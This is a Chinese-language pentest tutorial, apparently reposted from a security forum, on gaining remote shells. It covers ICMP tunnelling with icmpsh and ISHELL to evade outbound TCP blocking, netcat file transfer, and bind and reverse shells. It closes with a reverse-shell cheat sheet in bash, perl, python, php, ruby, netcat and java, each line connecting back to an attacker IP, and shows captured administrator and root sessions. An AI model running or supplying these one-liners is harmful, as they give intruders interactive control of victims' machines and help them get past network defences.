程序:https://github.com/inquisb/icmpsh#usage
在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉,文章主要讨论icmp shell的使用
特点:
1)开源程序
2)基于CS架构
3)服务端程序跨平台,支持C、perl、python
4)客户端仅支持Windows
5)不需要管理员权限

服务端需要先安装python包

[root@server120 icmpsh-master]# pip install Impacket
[root@server120 icmpsh-master]# ./run.sh
##################################################################

ICMP Shell Automation Script for

https://github.com/inquisb/icmpsh

##################################################################

-------------------------------------------------------------------
[?] What is the victims public IP address?
-------------------------------------------------------------------
192.168.192.122

[-] Run the following code on your victim system on the listender has started:

++++++++++++++++++++++++++++++++++++++++++++++++++

icmpsh.exe -t 192.168.192.120 -d 500 -b 30 -s 128

++++++++++++++++++++++++++++++++++++++++++++++++++
[-] Local ICMP Replies are currently enabled, I will disable these temporarily now

[-] Launching Listener...,waiting for a inbound connection..
D:\>whoami
whoami
win-a94sbnf0i6b\administrator

 

客户端:
icmpsh.exe -t 192.168.192.120 -d 500 -b 30 -s 128

下载地址:

http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz

需要注意两点:

1.) ISHELL uses raw sockets on both the client and server side, therefore root privileges ARE REQUIRED to use this program.

客户端和服务端需要用socket通信,需要用root权限

2.) When configuring the options for the server/client make sure the following options are the same on both the client and the server:

 

[root@server120 ISHELL-v0.2]# make linux

参数如下:

[root@server120 ISHELL-v0.2]# ./ishd -h

ICMP Shell v0.2  (server)   -   by: Peter Kieltyka

usage: ./ishd [options]



options:

 -h               Display this screen

 -d               Run server in debug mode

 -i <id>          Set session id; range: 0-65535 (default: 1515)

 -t <type>        Set ICMP type (default: 0)

 -p <packetsize>  Set packet size (default: 512)

被控端:

[root@server120 ISHELL-v0.2]# ./ishd -i 65535 -t 0 -p 1024 -d

-----+ IN DATA +------

id

-----+ OUT DATA +-----

uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

控制端:

[root@vincenthostname ISHELL-v0.2]# ./ish -i 65535 -t 0 -p 1024 172.16.100.134

 

 

nc的安装

1.利用wget从sourceforge下载一个nc
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
2.解压
tar zxvf netcat-0.7.1.tar.gz
3.编译前配置
cd netcat-0.7.1
./configure
4.编译
make
5.运行
安装完成后进入src目录
./netcat -h

nc传输文件

在接收机器上执行
[vincent@iZ62luqzx5xZ src]$ ./netcat -v -l -p 2345 > /tmp/user.txt
在发送机器上执行
root@kali-vincent:/tmp# nc -v 49.213.15.229 2345 < user.txt

nc反弹shell

正向连接:
在远程机器上执行:
nc -l -p 8888 -t -e cmd.exe
在本地机器上执行:
nc -nvv 172.16.100.111 8888
成功之后,本地机器就获得一个远程机器的shell。

反向连接:
首先在本地使用nc开启端口监听
nc -vv -l -p 8081
然后在远端:
nc -vv 192.168.192.201 8081 -e /bin/bash
本地即可获取到shell

在Linux的大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个
GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制
在Attack这边依然用nc -lnvp listenport监听某端口,在目标环境中依次执行以下命令:
root@kali-vincent:~# mknod /tmp/backpipe p
root@kali-vincent:~# /bin/sh 0</tmp/backpipe | nc 49.213.15.229 2345 1>/tmp/backpipe
第一条命令使用mknod在tmp目录下创建一个管道backpipe,第二条命令首先将默认shell环境的输入
重定向给刚才创建的管道,然后将输出通过nc attackerip
listenport重定向到攻击者一端,最后将shell的执行结果再重定向到管道中。

bash版本:

bash -i >& /dev/tcp/106.187.43.96/2345 0>&1

注意这个是由解析shell的bash完成,所以某些情况下不支持

perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc版本:

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

转自:http://zone.wooyun.org/content/5064